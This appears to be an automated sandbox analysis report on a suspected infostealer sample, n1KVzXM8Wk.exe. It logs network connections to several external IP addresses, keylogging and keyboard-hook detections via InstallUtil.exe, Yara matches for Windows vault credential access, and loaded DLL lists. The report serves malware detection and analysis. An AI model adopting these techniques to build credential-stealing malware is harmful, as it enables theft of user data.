Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 54367 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50503
Source: unknown	Network traffic detected: HTTP traffic on port 53374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52244
Source: unknown	Network traffic detected: HTTP traffic on port 55119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52644 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53511 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52249
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55995
Source: unknown	Network traffic detected: HTTP traffic on port 53941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52251
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54511 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53229
Source: unknown	Network traffic detected: HTTP traffic on port 53375 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53224
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52256
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53227
Source: unknown	Network traffic detected: HTTP traffic on port 53512 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52616 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53231
Source: unknown	Network traffic detected: HTTP traffic on port 53936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54321 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54499 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54329
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54323
Source: unknown	Network traffic detected: HTTP traffic on port 54768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53232
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54321
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53236
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54325
Source: unknown	Network traffic detected: HTTP traffic on port 53231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53240
Source: unknown	Network traffic detected: HTTP traffic on port 51387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50665 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51381 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53769
Source: unknown	Network traffic detected: HTTP traffic on port 54257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53767
Source: unknown	Network traffic detected: HTTP traffic on port 52082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55268
Source: unknown	Network traffic detected: HTTP traffic on port 55130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55395
Source: unknown	Network traffic detected: HTTP traffic on port 53229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53770
Source: unknown	Network traffic detected: HTTP traffic on port 54503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55345 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54323 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54989
Source: unknown	Network traffic detected: HTTP traffic on port 55362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55471 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53772
Source: unknown	Network traffic detected: HTTP traffic on port 52087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50501 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54503
Source: unknown	Network traffic detected: HTTP traffic on port 55003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53775
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53309
Source: unknown	Network traffic detected: HTTP traffic on port 52626 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54511
Source: unknown	Network traffic detected: HTTP traffic on port 51864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55293
Source: unknown	Network traffic detected: HTTP traffic on port 55995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50666 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 55257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53310
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54768
Source: unknown	Network traffic detected: HTTP traffic on port 55509 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55395 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51381
Source: unknown	Network traffic detected: HTTP traffic on port 53224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54815
Source: unknown	Network traffic detected: HTTP traffic on port 52653 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53325 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54257
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54499
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55229
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55345
Source: unknown	Network traffic detected: HTTP traffic on port 54989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54260
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52084
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55350
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55471
Source: unknown	Network traffic detected: HTTP traffic on port 53938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52640
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52644
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55114
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52642
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55362
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54270
Source: unknown	Network traffic detected: HTTP traffic on port 51855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55000
Source: unknown	Network traffic detected: HTTP traffic on port 53004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53507
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53505
Source: unknown	Network traffic detected: HTTP traffic on port 53772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52653
Source: unknown	Network traffic detected: HTTP traffic on port 53766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55496
Source: unknown	Network traffic detected: HTTP traffic on port 51860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55130
Source: unknown	Network traffic detected: HTTP traffic on port 54329 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55257
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53511
Source: unknown	Network traffic detected: HTTP traffic on port 52642 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51869
Source: unknown	Network traffic detected: HTTP traffic on port 52993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54575
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55548
Source: unknown	Network traffic detected: HTTP traffic on port 54815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55428
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50652
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53370
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55551
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53374
Source: unknown	Network traffic detected: HTTP traffic on port 53232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53372
Source: unknown	Network traffic detected: HTTP traffic on port 53309 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55551 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51515
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50666
Source: unknown	Network traffic detected: HTTP traffic on port 53370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54466
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55558
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53375
Source: unknown	Network traffic detected: HTTP traffic on port 54575 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52623 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50665
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50664
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55314
Source: unknown	Network traffic detected: HTTP traffic on port 52640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53310 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55442
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 51389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52616
Source: unknown	Network traffic detected: HTTP traffic on port 52244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52738
Source: unknown	Network traffic detected: HTTP traffic on port 54265 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52612
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55444
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52059
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53941
Source: unknown	Network traffic detected: HTTP traffic on port 55000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52061
Source: unknown	Network traffic detected: HTTP traffic on port 55293 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55331
Source: unknown	Network traffic detected: HTTP traffic on port 55331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52612 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54325 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52626
Source: unknown	Network traffic detected: HTTP traffic on port 54260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54367
Source: unknown	Network traffic detected: HTTP traffic on port 53773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54365
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52623
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55462
Source: unknown	Network traffic detected: HTTP traffic on port 53507 -> 443

Source: unknown	HTTPS traffic detected: 140.82.114.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.190.93:443 -> 192.168.2.4:51515 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 102.223.20.217:443 -> 192.168.2.4:54575 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.190.93:443 -> 192.168.2.4:55000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 222.255.238.159:443 -> 192.168.2.4:55558 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.n1KVzXM8Wk.exe.119a41201a0.1.raw.unpack, hxAF.cs	.Net Code: q5I7xZc
Source: 0.2.n1KVzXM8Wk.exe.119a54310f8.2.raw.unpack, hxAF.cs	.Net Code: q5I7xZc

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.n1KVzXM8Wk.exe.119a41201a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.n1KVzXM8Wk.exe.119a41201a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.n1KVzXM8Wk.exe.119a54310f8.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.n1KVzXM8Wk.exe.119a54310f8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 5.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.n1KVzXM8Wk.exe.119a408fd68.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_031A9BE3	5_2_031A9BE3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_031A4A98	5_2_031A4A98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_031A3E80	5_2_031A3E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_031ACEB0	5_2_031ACEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 5_2_031A41C8	5_2_031A41C8

Source: n1KVzXM8Wk.exe

Static PE information: No import functions for PE file found

Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A51F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedcee1200-43ec-4018-aeeb-4f86e30beb01.exe4 vs n1KVzXM8Wk.exe
Source: n1KVzXM8Wk.exe, 00000000.00000000.1692824037.0000011991F72000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMakeForever.exe8 vs n1KVzXM8Wk.exe
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A408F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOxeyijahal> vs n1KVzXM8Wk.exe
Source: n1KVzXM8Wk.exe, 00000000.00000002.2295238294.00000119A408F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedcee1200-43ec-4018-aeeb-4f86e30beb01.exe4 vs n1KVzXM8Wk.exe
Source: n1KVzXM8Wk.exe	Binary or memory string: OriginalFilenameMakeForever.exe8 vs n1KVzXM8Wk.exe

Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\n1KVzXM8Wk.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: edputil.dll	Jump to behavior

